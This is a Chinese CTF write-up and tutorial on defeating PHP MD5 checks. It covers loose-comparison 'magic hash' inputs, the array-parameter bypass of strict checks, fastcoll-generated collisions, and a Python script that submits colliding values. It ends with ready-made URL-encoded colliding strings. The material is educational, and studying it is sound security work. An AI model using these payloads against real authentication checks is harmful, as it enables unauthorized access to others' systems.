0x00 引言

在做题的时候遇到了这样的一道题,顺便就记录下

题目背景

根据提供的源代码,分析找出认证码

解题方向

审计源代码,需要找一个值,这个值的md5值在php中==题中给定值的md5值

0x01 分析

题目源码如下:

<?php
error_reporting(0);
$a1 = md5('QNKCDZO');
$a = @$_POST['pass'];
$a2 = @md5($a);
if(isset($a)){
    if ($a != 'QNKCDZO' && $a1 == $a2) {
        /**
        内容省略!
         **/
        exit();
    } else {
        echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
    }}
?>

简单分析下就是要找到一个原值不相等,但是md5加密后的值相等的字符串
由于 PHP 是弱类型语言,在使用==进行比较时,当数字与字符串作比较时或者比较的内容涉及到数字时,系统会先将字符串转化为数字,再用数字进行比较。

md5('QNKCDZO') = 0e830400451993494058024219903391
md5(s878926199a) = 0e545993274517709034328855841020

在进行$a1 == $a2判断的时候0e刚好为科学计数法的开头,就会被隐式转换当做浮点数,实际的值就相当于0*e^ 830400451993494058024219903391 = 0,那么只需要找到一个md5加密后以0e开头的值即可
下面附上了一堆md5加密后以0e开头的值:

点我查看

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

0x02 扩展

1. ==

在使用==进行判断的时候,只判断值是否相等,不判断类型是否相同
总结:在数字和字符串进行比较时,字符串部分总是会取第一次出现在字符(字符串)前的数字作为转换值,若不存在这样的值,它就会被强制转化为数字0

<?php
var_dump(0 == 'test');   //bool(true)
var_dump(0 == 'test1');  //bool(true)
var_dump(0 == '1test');  //bool(false)
var_dump(0 == '0test');  //bool(true)
?>

2. php特性绕过md5和sha1函数

先贴上测试代码:

<?php
if ($_GET['a'] !== $_GET['b'] && @md5($_GET['a']) === @md5($_GET['b'])) {
    echo "true";
} else {
    echo "false";
}
?>

这里使用的===进行判断,不仅会判断值是否相等,还会判断值的类型是否相同
这时用最开始的办法0e结果自然就是false:

这里我们就可以利用PHP的特性:在PHP中md5和sha1函数都无法处理数组,返回结果为NULL,可使用var_dump()函数进行查看。


然后我们就可以构造a[]=1&b[]=2进行绕过:

3. MD5碰撞

<?php
if ((string)$_GET['a'] !== (string)$_GET['b'] && md5($_GET['a']) === md5($_GET['b'])) {
    echo "true";
} else {
    echo "false";
}
?>

这段代码与上一段不同点在于传入的值被强制类型转换成字符串了,所以就不能用数组进行绕过了。

那么有没有什么办法可制作两个内容不同但具有相同MD5验证码的文件?

埃因霍温理工大学(Technische Universiteit Eindhoven)的Marc Stevens就曾使用“构造前缀碰撞法”(chosen-prefix collisions)来进行哈希碰撞。附上一个英文文档Chosen-prefix Collisions for MD5 and Colliding X.509 Certificates for Different Identities
我们直接使用神器fastcoll来进行愉快的碰撞吧

下载链接:fastcoll_v1.0.0.5.exe.zip
源码链接:fastcoll_v1.0.0.5_source.zip

a. fastcoll使用方法

随便创建个1.txt,内容也随意:

然后使用fastcoll工具生成内容不同,md5相同的两文件:

b. 绕过

写个python将内容提交上去就完事儿了:

import requests
from hashlib import md5
from urllib.parse import quote
url='http://localhost/test.php'
with open('a.txt','rb') as f1:
    a=f1.read()
with open('b.txt','rb') as f2:
    b=f2.read()
params={'a':a,'b':b}
req=requests.get(url,params=params)
print("a.txt的url编码为:%s\nmd5加密为:%s\n" %(quote(a),md5(a).hexdigest()))
print("b.txt的url编码为:%s\nmd5加密为:%s\n" %(quote(b),md5(b).hexdigest()))
print("请求连接返回为:",req.text)

运行结果:

顺便附上php版本:

<?php 
function  read_file($path){
    $fh = fopen($path, "rb");
    $data = fread($fh, filesize($path));
    fclose($fh);
    return $data;
}
echo "a.txt:<br>URL编码结果:".urlencode(read_file("a.txt"));
echo "<br>";
echo 'md5加密结果:'.md5((read_file("a.txt")));
echo "<br>";
echo 'URL编码后md5加密结果:'.md5(urlencode(read_file("a.txt")));
echo "<br><br>";
echo 'b.txt:<br>URL编码结果: '.urlencode(read_file("b.txt"));
echo "<br>";
echo 'md5加密结果:'.md5((read_file("b.txt")));
echo "<br>";
echo 'URL编码后md5加密结果:'.md5( urlencode(read_file("b.txt")));
echo "<br>";
?>

c. 最后

最后直接贴上网上的MD5值相同源数据不同的字符串:

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

d. 其他

MD5相关的攻击还有其他很多种,如:
MD5的Hash长度扩展攻击
md5截断碰撞

Last modification:March 27th, 2020 at 01:43 pm
如果觉得我的文章对你有用,请随意赞赏